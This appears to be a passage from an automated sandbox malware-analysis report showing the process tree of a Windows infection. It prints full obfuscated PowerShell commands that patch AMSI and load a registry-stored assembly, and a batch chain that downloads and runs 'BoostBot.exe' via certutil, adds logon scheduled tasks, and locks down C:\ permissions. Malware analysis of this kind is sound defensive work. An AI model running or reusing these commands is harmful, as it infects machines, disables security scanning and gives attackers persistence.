$_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+[Char](114)+''+'o'+''+[Char](115)+''+'o'+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+'e'+[Char](78)+''+'a'+''+[Char](116)+'i'+'v'+'e'+'M'+''+[Char](101)+''+[Char](116)+''+'h'+''+'o'+''+'d'+''+[Char](115)+'');$KokkbxzYXnllcp=$YrAyPSADsOsST.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'P'+'r'+''+[Char](111)+'c'+[Char](65)+'dd'+'r'+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+','+'S'+'t'+'at'+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$DqCTWolOCYNrGwviVMA=wTwnalTIDPyU @([String])([IntPtr]);$UJTBpfxYJrnoBhaGUplaVO=wTwnalTIDPyU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$vUsVtQZVPGd=$YrAyPSADsOsST.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+'a'+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+'l3'+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$SLIZqtqFHxsxYV=$KokkbxzYXnllcp.Invoke($Null,@([Object]$vUsVtQZVPGd,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+'L'+'i'+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$IMJmCKasxtgQUQuyi=$KokkbxzYXnllcp.Invoke($Null,@([Object]$vUsVtQZVPGd,[Object](''+'V'+''+[Char](105)+'rt'+[Char](117)+''+[Char](97)+'l'+'P'+''+'r'+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$OOClhXf=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SLIZqtqFHxsxYV,$DqCTWolOCYNrGwviVMA).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$sSGpxcnkyHnTeTTVw=$KokkbxzYXnllcp.Invoke($Null,@([Object]$OOClhXf,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+''+'a'+''+'n'+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$IySuFDlszW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IMJmCKasxtgQUQuyi,$UJTBpfxYJrnoBhaGUplaVO).Invoke($sSGpxcnkyHnTeTTVw,[uint32]8,4,[ref]$IySuFDlszW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$sSGpxcnkyHnTeTTVw,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IMJmCKasxtgQUQuyi,$UJTBpfxYJrnoBhaGUplaVO).Invoke($sSGpxcnkyHnTeTTVw,[uint32]8,0x20,[ref]$IySuFDlszW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+'TW'+'A'+''+'R'+'E').GetValue(''+[Char](36)+''+[Char](55)+'7s'+[Char](116)+''+[Char](97)+'ge'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4560 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zBSZBHUXbfzC{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qZFtNKgdawjYDd,[Parameter(Position=1)][Type]$bZjfBEgQQo)$shDXYBGedkW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+'ct'+'e'+'d'+'D'+''+[Char](101)+''+[Char](108)+'e'+'g'+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+'m'+[Char](111)+''+'r'+'yMo'+[Char](100)+'u'+[Char](108)+''+'e'+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'te'+[Char](84)+''+[Char](121)+''+[Char](112)+'e','C'+[Char](108)+'a'+[Char](115)+''+'s'+''+','+''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+'c,'+'S'+'e'+[Char](97)+''+[Char](108)+'e'+'d'+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+'i'+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$shDXYBGedkW.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+'m'+''+[Char](101)+','+[Char](72)+'id'+[Char](101)+''+'B'+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+'b'+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$qZFtNKgdawjYDd).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+''+[Char](101)+''+','+'M'+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+'d');$shDXYBGedkW.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+'P'+'u'+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+'S'+'ig'+[Char](44)+''+'N'+''+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'',$bZjfBEgQQo,$qZFtNKgdawjYDd).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+'im'+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+'ag'+[Char](101)+''+'d'+'');Write-Output $shDXYBGedkW.CreateType();}$JFWXJTTWgeptW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+'.'+''+'d'+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+'s'+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+'feN'+'a'+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+''+'t'+'hod'+'s'+'');$eNGQSzhLseCOPg=$JFWXJTTWgeptW.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](80)+''+[Char](114)+'oc'+'A'+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+'a'+'t'+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GmkJxVOcWvglQRkPWvM=zBSZBHUXbfzC @([String])([IntPtr]);$VhwcBkIrmOSFDtkgfkJENt=zBSZBHUXbfzC @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cWHXAwNPgzJ=$JFWXJTTWgeptW.GetMethod(''+'G'+''+[Char](101)+'t'+'M'+''+'o'+'d'+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+'a'+'n'+''+'d'+''+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+[Char](50)+'.'+'d'+''+'l'+'l')));$XRDlIAglAgdrcz=$eNGQSzhLseCOPg.Invoke($Null,@([Object]$cWHXAwNPgzJ,[Object](''+[Char](76)+'o'+'a'+''+[Char](100)+''+[Char](76)+'i'+'b'+'r'+[Char](97)+''+'r'+''+'y'+'A')));$eAMthhneaAPjcvTaV=$eNGQSzhLseCOPg.Invoke($Null,@([Object]$cWHXAwNPgzJ,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+'o'+''+[Char](116)+''+'e'+''+'c'+''+[Char](116)+'')));$HwRVDkg=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XRDlIAglAgdrcz,$GmkJxVOcWvglQRkPWvM).Invoke(''+'a'+''+[Char](109)+''+'s'+'i'+'.'+'d'+'l'+''+[Char](108)+'');$hxSTGcOIZyMSRAEri=$eNGQSzhLseCOPg.Invoke($Null,@([Object]$HwRVDkg,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+'f'+[Char](102)+''+'e'+''+'r'+'')));$BMvfDPXgZK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eAMthhneaAPjcvTaV,$VhwcBkIrmOSFDtkgfkJENt).Invoke($hxSTGcOIZyMSRAEri,[uint32]8,4,[ref]$BMvfDPXgZK);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hxSTGcOIZyMSRAEri,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eAMthhneaAPjcvTaV,$VhwcBkIrmOSFDtkgfkJENt).Invoke($hxSTGcOIZyMSRAEri,[uint32]8,0x20,[ref]$BMvfDPXgZK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'T'+'W'+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+'7'+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1920 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4336
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:dzyUqeoctrAe{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$BstinYMrJrpyBF,[Parameter(Position=1)][Type]$FbwMXEhNWo)$praCrpTAdvh=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+'c'+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+'M'+''+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+'y'+''+[Char](77)+''+'o'+''+[Char](100)+'ul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+'l'+''+[Char](97)+'ss'+','+'Pu'+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+''+'S'+''+[Char](101)+''+[Char](97)+'le'+'d'+''+[Char](44)+''+[Char](65)+'ns'+'i'+''+'C'+'l'+'a'+''+[Char](115)+''+'s'+','+'A'+''+[Char](117)+'t'+[Char](111)+'C'+[Char](108)+''+[Char](97)+'ss',[MulticastDelegate]);$praCrpTAdvh.DefineConstructor('R'+[Char](84)+''+[Char](83)+'p'+'e'+''+[Char](99)+''+'i'+'al'+[Char](78)+'a'+[Char](109)+''+[Char](101)+','+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+'y'+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$BstinYMrJrpyBF).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$praCrpTAdvh.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+'o'+[Char](107)+''+[Char](101)+'',''+'P'+'ubl'+[Char](105)+''+[Char](99)+','+'H'+''+'i'+'de'+[Char](66)+'y'+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+'e'+'wS'+'l'+'o'+'t'+','+'V'+'ir'+[Char](116)+''+[Char](117)+''+'a'+''+'l'+'',$FbwMXEhNWo,$BstinYMrJrpyBF).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $praCrpTAdvh.CreateType();}$lcMFWPEFNUgQe=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+''+'o'+''+[Char](115)+'o'+[Char](102)+''+[Char](116)+'.W'+[Char](105)+''+[Char](110)+''+'3'+''+'2'+'.U'+[Char](110)+''+[Char](115)+'a'+'f'+''+'e'+''+[Char](78)+''+'a'+''+'t'+''+[Char](105)+''+[Char](118)+''+'e'+'M'+[Char](101)+''+[Char](116)+''+[Char](104)+''+'o'+''+[Char](100)+''+'s'+'');$nHxBEMucKzeMbW=$lcMFWPEFNUgQe.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+''+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'S'+''+[Char](116)+''+'a'+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ZCsrjsBFoodzCXmQSaR=dzyUqeoctrAe @([String])([IntPtr]);$FFkoRRVeVtbGuSivXgoFfU=dzyUqeoctrAe @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OuIPIiMggqj=$lcMFWPEFNUgQe.GetMethod('G'+'e'+''+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'eHa'+[Char](110)+'dle').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+'32'+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')));$CHuPXRseAQBQyR=$nHxBEMucKzeMbW.Invoke($Null,@([Object]$OuIPIiMggqj,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+'b'+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+'A')));$HXOjrVCZgMYBTsgkV=$nHxBEMucKzeMbW.Invoke($Null,@([Object]$OuIPIiMggqj,[Object](''+'V'+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+'te'+'c'+''+'t'+'')));$vCkgvEC=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CHuPXRseAQBQyR,$ZCsrjsBFoodzCXmQSaR).Invoke('ams'+[Char](105)+''+[Char](46)+''+'d'+''+'l'+'l');$eCtVgXRwmIZMjkbhh=$nHxBEMucKzeMbW.Invoke($Null,@([Object]$vCkgvEC,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+'S'+'c'+'a'+'n'+''+'B'+''+'u'+'ff'+[Char](101)+''+[Char](114)+'')));$TxbKEvrOBG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HXOjrVCZgMYBTsgkV,$FFkoRRVeVtbGuSivXgoFfU).Invoke($eCtVgXRwmIZMjkbhh,[uint32]8,4,[ref]$TxbKEvrOBG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$eCtVgXRwmIZMjkbhh,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HXOjrVCZgMYBTsgkV,$FFkoRRVeVtbGuSivXgoFfU).Invoke($eCtVgXRwmIZMjkbhh,[uint32]8,0x20,[ref]$TxbKEvrOBG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue('$'+'7'+'7'+[Char](115)+''+[Char](116)+''+'a'+''+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
PID:2544 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2844
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵
- Drops file in System32 directory
PID:1096
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵PID:1168
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1188
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵PID:1204
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1212
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵PID:1364
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1464
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c:\windows\system32\sihost.exesihost.exe2⤵PID:3116
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1472
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵PID:1532
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵PID:1564
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵PID:1600
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1684
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵PID:1696
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1836
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1856
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1956
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵PID:1984
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1524
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2068
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵PID:2116
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵PID:2256
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2264
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵
- Drops file in System32 directory
PID:2328
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2340
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2352
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵PID:2360
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵PID:2380
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2396
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2808
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2816
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵PID:3140
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s TokenBroker1⤵PID:3248
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3376
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fix.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:164 -
C:\Windows\system32\certutil.execertutil -urlcache -split -f "https://cdn.discordapp.com/attachments/1237881664131174481/1239282786335064204/BoostBot.exe?ex=66425b89&is=66410a09&hm=76121e524db94e51397af0fa52812c443a6cb5a194da52bb2909deb394f90aee&" BoostBot.exe3⤵PID:1352
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Process -FilePath 'BoostBot.exe' -Verb RunAs"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3308 -
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4596 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\BoostBot.exe" /rl HIGHEST /f5⤵
- Creates scheduled task(s)
PID:2132 -
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f6⤵
- Creates scheduled task(s)
PID:4028 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"6⤵
- Executes dropped EXE
PID:512 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /delete /tn "$sxr-powershell" /f6⤵PID:860
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:4340
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KJga4CwkV9tI.bat" "6⤵PID:4360
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:4032
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C:\Windows\SysWOW64\chcp.comchcp 650017⤵PID:4708
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C:\Windows\SysWOW64\PING.EXEping -n 10 localhost7⤵
- Runs ping.exe
PID:1808 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"6⤵
- Executes dropped EXE
PID:3832 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77$sxr-powershell.exe" /tr "'C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe'" /sc onlogon /rl HIGHEST6⤵
- Creates scheduled task(s)
PID:380 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"5⤵
- Executes dropped EXE
PID:696 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77BoostBot.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\BoostBot.exe'" /sc onlogon /rl HIGHEST5⤵
- Creates scheduled task(s)
PID:2616 -
C:\Windows\system32\icacls.exeicacls "C:\" /deny *S-1-1-0:(OI)(CI)F /T3⤵
- Modifies file permissions
PID:5060 -
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Executable File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f3⤵PID:1708
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C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Local\Temp\Fix.bat"3⤵
- Views/modifies file attributes
PID:5040
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3884
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3680
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵PID:4772
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:4668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:4520
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2428
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵PID:4476
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4508
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C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵PID:1288
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C:\Windows\System32\InstallAgent.exeC:\Windows\System32\InstallAgent.exe -Embedding1⤵PID:1480
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:2000
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:3500
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize338B
MD58df9fc951818ef9c8747f54869e90e37
SHA1ff2de8fde08571824112ff827e69862bdce38f41
SHA2567c3ce47c60c41bec0f719e890b5a4bb977b146c88c0ac19179480567229f6693
